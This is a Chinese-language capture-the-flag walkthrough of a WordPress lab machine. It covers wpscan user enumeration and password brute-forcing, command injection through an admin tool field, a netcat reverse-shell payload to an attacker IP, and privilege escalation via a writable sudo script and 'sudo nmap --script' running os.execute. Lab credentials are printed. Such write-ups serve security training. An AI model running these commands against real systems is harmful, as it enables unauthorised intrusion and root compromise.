总结:wpscan爆破,nmap提权

发现靶机ip

image-20230413100512563

接下来进行端口扫描

image-20230413100554636

还是两个正常端口 22和80

然后访问80端口

image-20230413100651538

访问不了 但出现了一个域名

猜测是域名解析的问题

于是就去修改 /etc/hosts

image-20230413101135856

修改后访问成功,发现是wordpress框架的

image-20230413101154443

于是就可以使用wpscan工具进行扫描了 先扫一下网站有哪些用户

wpscan --url -e

image-20230413101443241

发现存在好几个用户

那么我们就尝试扫目录,看能不能扫出后台登录地址来

image-20230413101610519

发现存在类似后台的目录

image-20230413101640997

成功发现后台

这里的话是不知道密码的 于是我们就选择进行爆破

但是如果这里使用的是cewl根据这个网站生成的密码的话 然后使用wpscan进行爆破的话,是不会成功的

因为生成的字典里没有那个密码

(下面这种是不会成功的)

1
2
3
4
5
6
7
8
9
10
11
12
//根据网页的内容输出一个字典
cewl https://www.wordy.com/ -w pass.txt

//使用命令枚举这个网站的用户
wpscan --url https://www.wordy.com/ -e u #使用这个没有枚举成功
wpscan --url http://wordy/ -e u #这个成功了,有点想不明白

//将枚举出来的几个用户输入到user.txt
echo "admin\ngraham\nmark\nsarah\njens" > user.txt

//尝试爆破密码
wpscan --url wordy -U user.txt -P passwd.txt

去看别人的wp才知道要使用/usr/share/wordlists/rockyou.txt作为字典,但是这个字典很大,我就将一些关于密码的一些提取到一个字典中,这时候我已经知道密码是helpdesk01了

注意:rockyou.txt字典是一个压缩包需要我们自己解压。

1
echo "admin\ngraham\nmark\nsarah\njens" > user.txt
1
2
3
4
5
//提取相关密码到一个新的字典文件
cat /usr/share/wordlists/rockyou.txt | grep help > passwd.txt

//这里重新爆破
wpscan --url wordy -U user.txt -P passwd.txt

image-20230413103015685

这里爆破出来了,http://wordy/wp-login.php 在这里登录

mark:helpdesk01

image-20230413103149712

成功登录后台

命令执行

这里的漏洞执行命令在这里

image-20230413103421863

image-20230413103455979

image-20230413103503477

成功进行了命令执行

image-20230413103535699

发现居然有长度限制,但是这里的长度限制只有前端有,后端没有,于是我们就尝试修改一下前端限制长度

image-20230413103828270

我们也可以进行抓包来及进行修改

image-20230413104209721

这里没有长度进行限制

然后我们就尝试反弹shell,拿到这个网站的服务器

1
2
3
4
127.0.0.1;nc -e /bin/bash 192.168.142.129 4444

//使用python搞一个伪shell
python -c "import pty;pty.spawn('/bin/bash')"

image-20230413104405636

弹上去了

然后进行交互shell

image-20230413104510719

然后尝试开始提权

suid sudo 内核提权 都试了一遍发现没啥用

1
2
3
最后在用户的根目录中发现了可以文件夹,/home/mark/stuff中发现一个things-to-do.txt
这里发现了graham用户的密码,然后我们通过su来到graham用户中
graham:GSo7isUM1D4

image-20230413104651652

mark用户的话 sudo -l 查看时需要密码的

在这里发现sudo -l没有需要密码,而且还有东西,这里去看看

image-20230413105147268

/bin/bash 是指此脚本使用/bin/bash来解释执行,#!是特殊的表示符,其后面根的是此解释此脚本的shell的路径

发现个可执行脚本

image-20230413105734306

于是添加/bin/bash进去执行

1
2
3
4
5
6
7
8
9
10
11
//来到提权文件那里
cd /home/jens

//添加可以提权的东西
echo "/bin/bash" >> backups.sh

//这里原本直接提权到root,但是失败了
sudo -u root ./backups.sh

//这里选择到jens中
sudo -u jens ./backups.sh

如果用root用户执行成功的话 那么我们就直接是root用户了

image-20230413110135091

image-20230413110241832

又发现一个无密码能执行的操作 nmap

这里查看一些关于nmap的提权方法。

image-20230413110341092

1
2
echo 'os.execute("/bin/bash")'>getroot.sh
sudo nmap --script=getroot.sh

--script=script_name 使用扩展脚本

image-20230413110654526

提权成功